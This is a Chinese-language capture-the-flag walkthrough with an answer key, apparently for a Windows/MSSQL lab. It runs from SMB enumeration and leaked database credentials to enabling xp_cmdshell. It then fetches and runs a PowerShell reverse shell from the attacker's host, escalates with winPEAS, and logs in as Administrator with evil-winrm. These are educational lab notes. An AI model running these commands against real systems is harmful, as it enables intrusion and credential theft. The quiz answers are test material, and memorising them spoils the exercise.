答案
-
Which TCP port is hosting a database server?(哪个端口托管了数据库服务?)
1433
-
What is the name of the non-Administrative share available over SMB? (SMB 上可用的非管理共享的名称是什么?)
backups
-
What is the password identified in the file on the SMB share?(SMB 共享上的文件中标识的密码是什么?)
M3g4c0rp123
-
What script from Impacket collection can be used in order to establish an authenticated connection to a Microsoft SQL Server?(可以使用 Impacket 集合中的哪个脚本来建立与Microsoft SQL Server 的经过身份验证的连接?)
mssqlclient.py
-
What extended stored procedure of Microsoft SQL Server can be used in order to spawn a Windows command shell?(可以使用Microsoft SQL Server的哪个扩展存储过程来生成Windows命令外壳?)
xp_cmdshell
-
What script can be used in order to search possible paths to escalate privileges on Windows hosts? (可以使用什么脚本来搜索可能的路径以提升 Windows 主机上的权限)
WinPEAS
-
What file contains the administrator’s password (包含了管理员密码的文件是什么?)
ConsoleHost_history.txt
找Flag
-
Nmap扫描服务,执行命令:
nmap -sV 目标IP
, 可以看到开的端口挺多的。
-
我们发现靶机开放了445端口,所以接下来我们查看SMB服务是否有什么东西。
-
首先列出靶机的所有共享,执行命令:
smbclient -L 目标IP
,密码不用填
-
连接到 backups,执行命令:
smbclient //10.129.185.247/backups
, 密码为空
-
查看共享文件: 执行命令
ls
, 发现只有一个文件。
-
将文件下载到本地,执行命令:
get prod.dtsConfig
-
查看文件内容,有配置项,从内容来看配置的是数据库的信息,比如用户名、密码。有搞头了。
-
使用
impacket-mssqlclient
这个工具连接目标数据库,用法如下: -
执行命令:
impacket-mssqlclient ARCHETYPE/sql_svc:M3g4c0rp123@10.129.185.247 -windows-auth
, 注意用户名的反斜杠要改为斜杠
-
没用过这个工具,先查看一下帮助文档,命令行输入 help,有几个命令吸引了我们,就是
xp_cmdshell
,这个MSSQL执行外部命令的一个存储过程。
-
先看一下有没有开启xp_cmdshell,运行命令:
xp_cmshell whoami
, 发现报错,说没有找到这个xp_cmdshell的存储过程;
-
尝试开启,执行命令:
enable_xp_cmdshell
,从返回结果来看我们成功开启了
-
验证一下,再执行一下之前的命令,发现执行成功了,这是一个普通的用户。
-
使用xp_cmdshell创建新用户,发现失败
-
接下来使用反弹shell的方式进行尝试
-
复制nishang的脚本文件到桌面,
cp /usr/share/nishang/Shells/Invoke-PowerShellTcp.ps1 ~/Desktop
-
在桌面右键打开终端,执行命令
python -m http.server
, 目的是开启一个简单的http服务,该项操作之前先查看你tun0
网卡的IP地址, 让靶机可以下载到该服务下的脚本文件.
-
编辑
Invoke-PowerShellTcp.ps1
文件 ,在最下方添加一行代码:Invoke-PowerShellTcp -Reverse -IPAddress 10.10.16.18 -Port 4444
, 其中IP为你的tun0网卡的IP,端口非占用.
-
打开NC的监听,
nc -lvp 4444
, 这里的端口是上面编辑设置的端口号
-
在impacket-mssqlclient上执行命令:
xp_cmdshell powershell IEX(New-Object Net.WebClient).downloadstring(\"http://10.10.16.18:8000/Invoke-PowerShellTcp.ps1\")
-
等待一会儿,返回到nc的界面查看,发现成功反弹shell。
-
接下来就是找flag,目录切换到sql_svc用户的Desktop,可以看到一个
user.txt
文件,查看内容,根据格式应该是flag。注意:powershell下获取文件内容的命令是Get-Content 文件名
其他目录找了半天没找到什么东西,而且Administrator目录被禁止访问,接下来我们就需要进行提权操作了。
23. 首先我们需要使用一个提权信息收集脚本进行测试,这里用到的是:PowerSploit里的PowerUp.ps1,复制到桌面:cp /usr/share/windows-resources/powersploit/Privesc/PowerUp.ps1 ~/Desktop
24. 在nc监听的shell中输入:IEX(New-Object Net.Webclient).downloadstring("http://10.10.16.33:8000/PowerUp.ps1")
, 注意IP和端口是你自己的。
25. 上传成功后接着输入:Invoke-AllChecks,发现报错,不太行,换一个
26. 使用winpeas中的winPEASx64.exe进行尝试,还是先复制到桌面:cp /usr/share/peass/winpeas/winPEASx64.exe ~/Desktop/winpea.exe
,没有的可以去 https://github.com/peass-ng/PEASS-ng下载一个
27. 反弹的shell中执行下载文件的操作:wget http://10.10.16.18:8000/winpea.exe -o note.exe
- 执行一下exe文件, powershell下执行:
C:\Users\sql_svc\Desktop\note.exe
,注意需要完整的文件路径或者相对路径,否则执行失败,参考:powershell下运行exe文件 - 等待运行完成后挨个查看标红的部分。我们会发现下面这个东西,有个历史命令的文件,查看一下啥内容。
发现用户名和密码
-
联想到Nmap扫描发现目标开放了5985端口,我们可以使用evil-winrm来进行远程登录操作,执行命令:
evil-winrm -u Administrator -p 'MEGACORP_4dm1n!!' -i 10.129.70.187 -P 5985
,注意密码要用的单引号引起来,否则会出错。
-
最后我们找到了flag.
参考:
https://vk9-sec.com/winpeas-windows-enum/#:~:text=WinPEAS%20is%20a%20script%20that%20search%20for%20possible,how%20to%20run%20it%2C%20and%2C%20complete%20Post-Exploitation%20activities
printspoofer简单用法
xp_cmdshell提权
Windows权限提升
PowerSploit GitHub主页
winpeas系统信息收集辅助提权工具
Powershell攻击利器